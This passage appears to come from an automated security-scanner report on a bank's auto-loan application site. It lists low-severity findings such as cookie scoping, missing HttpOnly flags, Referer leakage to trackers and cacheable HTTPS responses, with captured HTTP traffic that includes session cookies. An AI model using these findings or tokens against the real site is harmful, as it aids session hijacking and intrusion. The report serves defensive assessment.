Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=7793ce10-660e-4a47-8d47-5528e55a1166; domain=.chase.com; path=/
Set-Cookie: NSSG=e69c08f7be594e0385d8401207e39e62; domain=.chase.com; path=/
Set-Cookie: pid=; domain=.chase.com; path=/
Set-Cookie: BrandProfile=AUTO; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Length: 24544

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="Pragma" content="no-cache"/
...[SNIP]...

4.2. https://apply.chase.com/Auto/landingpage.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://apply.chase.com/Auto/landingpage.aspx
Cache-Control: max-age=0
Origin: https://apply.chase.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530328118:ss=1297530122939
Content-Length: 4083

__EVENTTARGET=ctl00%24FormContentPlaceHolder%24rbChaseOnlineYes&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=BWP8LR3hTTSNLcMsfT9aF%2BrIQsexQpp4CJMLM3cmua0xM9LxUj1DrJaid%2FRmYGF1YwiUud2pwO1KwfWAL9BzlXotM4
...[SNIP]...

Response

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 207
Content-Type: text/html; charset=utf-8
Expires: -1
Location: https://www.chase.com/psmhelp/index.jsp?pg_name=ccpmapp/shared/assets/page/loan_logon_auto
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: AUTO_Landing_Complete=AUTO_Landing_Complete; domain=.chase.com; expires=Sat, 12-Feb-2011 17:04:12 GMT; path=/
Set-Cookie: AUTO_joint=N; domain=.chase.com; path=/
Set-Cookie: AUTO_loantype=PERSON_TO_PERSON; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Date: Sat, 12 Feb 2011 16:04:12 GMT

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://www.chase.com/psmhelp/index.jsp?pg_name=ccpmapp/shared/assets/page/loan_logon_auto">here</a>.</h2>
</body></
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



5.1. https://apply.chase.com/Auto/landingpage.aspx  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://www.chase.com/auto-loan/car-loan.htm
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DAuto%25252520Home%25252520Page%252526pidt%25253D1%252526oid%25253Djavascript%2525253AtagAutoMarqueeClick%25252528%25252529%252526ot%25253DAREA%3B%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530179262:ss=1297530122939

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 12 Feb 2011 16:01:44 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=7793ce10-660e-4a47-8d47-5528e55a1166; domain=.chase.com; path=/
Set-Cookie: NSSG=e69c08f7be594e0385d8401207e39e62; domain=.chase.com; path=/
Set-Cookie: pid=; domain=.chase.com; path=/
Set-Cookie: BrandProfile=AUTO; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Length: 24544

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="Pragma" content="no-cache"/
...[SNIP]...

5.2. https://apply.chase.com/Auto/landingpage.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://apply.chase.com/Auto/landingpage.aspx
Cache-Control: max-age=0
Origin: https://apply.chase.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530328118:ss=1297530122939
Content-Length: 4083

__EVENTTARGET=ctl00%24FormContentPlaceHolder%24rbChaseOnlineYes&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=BWP8LR3hTTSNLcMsfT9aF%2BrIQsexQpp4CJMLM3cmua0xM9LxUj1DrJaid%2FRmYGF1YwiUud2pwO1KwfWAL9BzlXotM4
...[SNIP]...

Response

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 207
Content-Type: text/html; charset=utf-8
Expires: -1
Location: https://www.chase.com/psmhelp/index.jsp?pg_name=ccpmapp/shared/assets/page/loan_logon_auto
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: AUTO_Landing_Complete=AUTO_Landing_Complete; domain=.chase.com; expires=Sat, 12-Feb-2011 17:04:12 GMT; path=/
Set-Cookie: AUTO_joint=N; domain=.chase.com; path=/
Set-Cookie: AUTO_loantype=PERSON_TO_PERSON; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Date: Sat, 12 Feb 2011 16:04:12 GMT

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://www.chase.com/psmhelp/index.jsp?pg_name=ccpmapp/shared/assets/page/loan_logon_auto">here</a>.</h2>
</body></
...[SNIP]...

6. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


6.1. https://apply.chase.com/Auto/PersonalInfo.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/PersonalInfo.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Auto/PersonalInfo.aspx?LOB=AUTO HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://www.chase.com/psmhelp/index.jsp?pg_name=ccpmapp/shared/assets/page/loan_logon_auto
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; AUTO_Landing_Complete=AUTO_Landing_Complete; AUTO_joint=N; AUTO_loantype=PERSON_TO_PERSON; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530338522:ss=1297530122939

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 12 Feb 2011 16:04:22 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: pid=; domain=.chase.com; path=/
Set-Cookie: BrandProfile=AUTO; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Length: 77545

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="Pragma" content="no-cache"/
...[SNIP]...
<!-- Begin did-it.com Maestro tracking code. Generated on Fri, 11 Dec 2009 17:51:42 -0500-->
<img src="https://track.did-it.com/n?tid=f37354a0e6a51">
<!-- End did-it.com tracking code -->
...[SNIP]...
<a href="http://www.omniture.com" title="Web Analytics">
<img src="https://102.112.2O7.net/b/ss/jpmcedufinautoapp/1/H.20.3--NS/0" height="1"
width="1" border="0" alt="" />
</a>
...[SNIP]...

6.2. https://apply.chase.com/Auto/landingpage.aspx  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Auto/landingpage.aspx?products=Used HTTP/1.1
Host: apply.chase.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: BrandProfile=AUTO; AUTO_loantype=PERSON_TO_PERSON; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; pid=; SourceID=37797~CHSE; NSSG=b513c0db17a641d98568a847b940afd8; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530338522:ss=1297530122939; Autooffercode=1111111111; AUTO_joint=N; AUTO_Landing_Complete=AUTO_Landing_Complete; v1st=60B8BEB245ABF79; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 24558
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: pid=; domain=.chase.com; path=/
Set-Cookie: BrandProfile=AUTO; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Date: Sat, 12 Feb 2011 16:04:56 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="Pragma" content="no-cache"/
...[SNIP]...
<!-- Begin did-it.com Maestro tracking code. Generated on Fri, 11 Dec 2009 17:51:26 -0500-->
<img src="https://track.did-it.com/n?tid=3148cbcee4e01&param2=1111111111">
<!-- End did-it.com tracking code -->
...[SNIP]...
<a href="http://www.omniture.com" title="Web Analytics">
<img src="https://102.112.2O7.net/b/ss/jpmcedufinautoapp/1/H.20.3--NS/0" height="1"
width="1" border="0" alt="" />
</a>
...[SNIP]...

7. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/PersonalInfo.aspx

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /Auto/PersonalInfo.aspx?LOB=AUTO HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://www.chase.com/psmhelp/index.jsp?pg_name=ccpmapp/shared/assets/page/loan_logon_auto
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; AUTO_Landing_Complete=AUTO_Landing_Complete; AUTO_joint=N; AUTO_loantype=PERSON_TO_PERSON; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530338522:ss=1297530122939

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 12 Feb 2011 16:04:22 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: pid=; domain=.chase.com; path=/
Set-Cookie: BrandProfile=AUTO; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Length: 77545

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="Pragma" content="no-cache"/
...[SNIP]...
<span class="bodyTextSm">(username@domain.com)</span>
...[SNIP]...

8. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

POST /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://apply.chase.com/Auto/landingpage.aspx
Origin: https://apply.chase.com
X-MicrosoftAjax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cc%3Dtrue%3B%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AsetTimeout%25252528%25252527__doPostBack%25252528%2525255C%25252527ctl00%25252524FormContentPlaceHolder%25252524rbAmountGr%252526oidt%25253D2%252526ot%25253DRADIO%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530188268:ss=1297530122939
Content-Length: 2642

ctl00%24FormContentPlaceHolder%24scriptmanager=ctl00%24FormContentPlaceHolder%24upGettingStarted%7Cctl00%24FormContentPlaceHolder%24rbAmountGreaterYes&__EVENTTARGET=ctl00%24FormContentPlaceHolder%24rb
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 12 Feb 2011 16:01:51 GMT
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Length: 10773

7221|updatePanel|ctl00_FormContentPlaceHolder_upGettingStarted|
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr width="100%">
<td colspan="4">
<table id="ct
...[SNIP]...

9. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/images/spacer.gif

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /Auto/images/spacer.gif HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://apply.chase.com/Auto/landingpage.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DAuto%25252520Home%25252520Page%252526pidt%25253D1%252526oid%25253Djavascript%2525253AtagAutoMarqueeClick%25252528%25252529%252526ot%25253DAREA%3B%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530179262:ss=1297530122939; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO

Response

HTTP/1.1 404 Not Found
Content-Length: 71
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Date: Sat, 12 Feb 2011 16:01:46 GMT

<script>
document.location = "/ErrorHandler.ashx?code=404";
</script>

10. Content type incorrectly stated  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

POST /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://apply.chase.com/Auto/landingpage.aspx
Origin: https://apply.chase.com
X-MicrosoftAjax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
